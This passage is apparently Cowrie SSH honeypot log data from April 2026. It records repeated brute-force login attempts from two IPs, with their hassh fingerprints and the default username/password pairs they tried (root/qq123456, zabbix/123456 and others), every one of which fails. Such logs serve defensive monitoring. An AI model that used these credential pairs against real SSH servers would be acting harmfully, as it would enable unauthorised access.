p521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:13.783097Z","src_ip":"176.65.139.95","session":"2773b203a5d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:14.275203Z","src_ip":"176.65.139.95","session":"2773b203a5d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:14.628846Z","src_ip":"192.109.200.78","session":"353e1173c695","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:15.359324Z","src_ip":"176.65.139.95","session":"2773b203a5d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50100,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e1d4c963b1a","protocol":"ssh","message":"New connection: 192.109.200.78:50100 (159.203.135.109:22) [session: 8e1d4c963b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:17.295707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:17.300265Z","src_ip":"192.109.200.78","session":"8e1d4c963b1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:17.382242Z","src_ip":"192.109.200.78","session":"8e1d4c963b1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:17.629090Z","src_ip":"192.109.200.78","session":"8e1d4c963b1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:18.719556Z","src_ip":"192.109.200.78","session":"8e1d4c963b1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37428,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a11219cda5c","protocol":"ssh","message":"New connection: 176.65.139.95:37428 (159.203.135.109:22) [session: 4a11219cda5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:20.783190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:20.788382Z","src_ip":"176.65.139.95","session":"4a11219cda5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:20.892273Z","src_ip":"176.65.139.95","session":"4a11219cda5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:21.144224Z","src_ip":"176.65.139.95","session":"4a11219cda5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44516,"dst_ip":"159.203.135.109","dst_port":22,"session":"d961074e41ff","protocol":"ssh","message":"New connection: 192.109.200.78:44516 (159.203.135.109:22) [session: d961074e41ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:21.462166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:21.618645Z","src_ip":"192.109.200.78","session":"d961074e41ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:21.622463Z","src_ip":"192.109.200.78","session":"d961074e41ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:21.963620Z","src_ip":"192.109.200.78","session":"d961074e41ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:22.234502Z","src_ip":"176.65.139.95","session":"4a11219cda5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:23.048098Z","src_ip":"192.109.200.78","session":"d961074e41ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44530,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fd42ca34fc1","protocol":"ssh","message":"New connection: 192.109.200.78:44530 (159.203.135.109:22) [session: 1fd42ca34fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:25.723563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:25.728787Z","src_ip":"192.109.200.78","session":"1fd42ca34fc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:25.819750Z","src_ip":"192.109.200.78","session":"1fd42ca34fc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:26.072099Z","src_ip":"192.109.200.78","session":"1fd42ca34fc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:27.157530Z","src_ip":"192.109.200.78","session":"1fd42ca34fc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37432,"dst_ip":"159.203.135.109","dst_port":22,"session":"db2198624159","protocol":"ssh","message":"New connection: 176.65.139.95:37432 (159.203.135.109:22) [session: db2198624159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:27.449866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:27.454487Z","src_ip":"176.65.139.95","session":"db2198624159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:27.638946Z","src_ip":"176.65.139.95","session":"db2198624159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:28.079916Z","src_ip":"176.65.139.95","session":"db2198624159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:29.245808Z","src_ip":"176.65.139.95","session":"db2198624159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48826,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f1ad191edb7","protocol":"ssh","message":"New connection: 192.109.200.78:48826 (159.203.135.109:22) [session: 3f1ad191edb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:29.929812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:29.934795Z","src_ip":"192.109.200.78","session":"3f1ad191edb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:30.017469Z","src_ip":"192.109.200.78","session":"3f1ad191edb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:30.282534Z","src_ip":"192.109.200.78","session":"3f1ad191edb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:31.367946Z","src_ip":"192.109.200.78","session":"3f1ad191edb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48842,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac8a0874c2a9","protocol":"ssh","message":"New connection: 192.109.200.78:48842 (159.203.135.109:22) [session: ac8a0874c2a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:34.012903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:34.135422Z","src_ip":"192.109.200.78","session":"ac8a0874c2a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:34.140007Z","src_ip":"192.109.200.78","session":"ac8a0874c2a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47560,"dst_ip":"159.203.135.109","dst_port":22,"session":"875d5f232107","protocol":"ssh","message":"New connection: 176.65.139.95:47560 (159.203.135.109:22) [session: 875d5f232107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:34.373951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:34.382783Z","src_ip":"176.65.139.95","session":"875d5f232107","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:34.479768Z","src_ip":"176.65.139.95","session":"875d5f232107","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:34.560387Z","src_ip":"192.109.200.78","session":"ac8a0874c2a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456","message":"login attempt [root/root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:35.206931Z","src_ip":"176.65.139.95","session":"875d5f232107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:35.646345Z","src_ip":"192.109.200.78","session":"ac8a0874c2a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:36.300600Z","src_ip":"176.65.139.95","session":"875d5f232107","protocol":"ssh"}
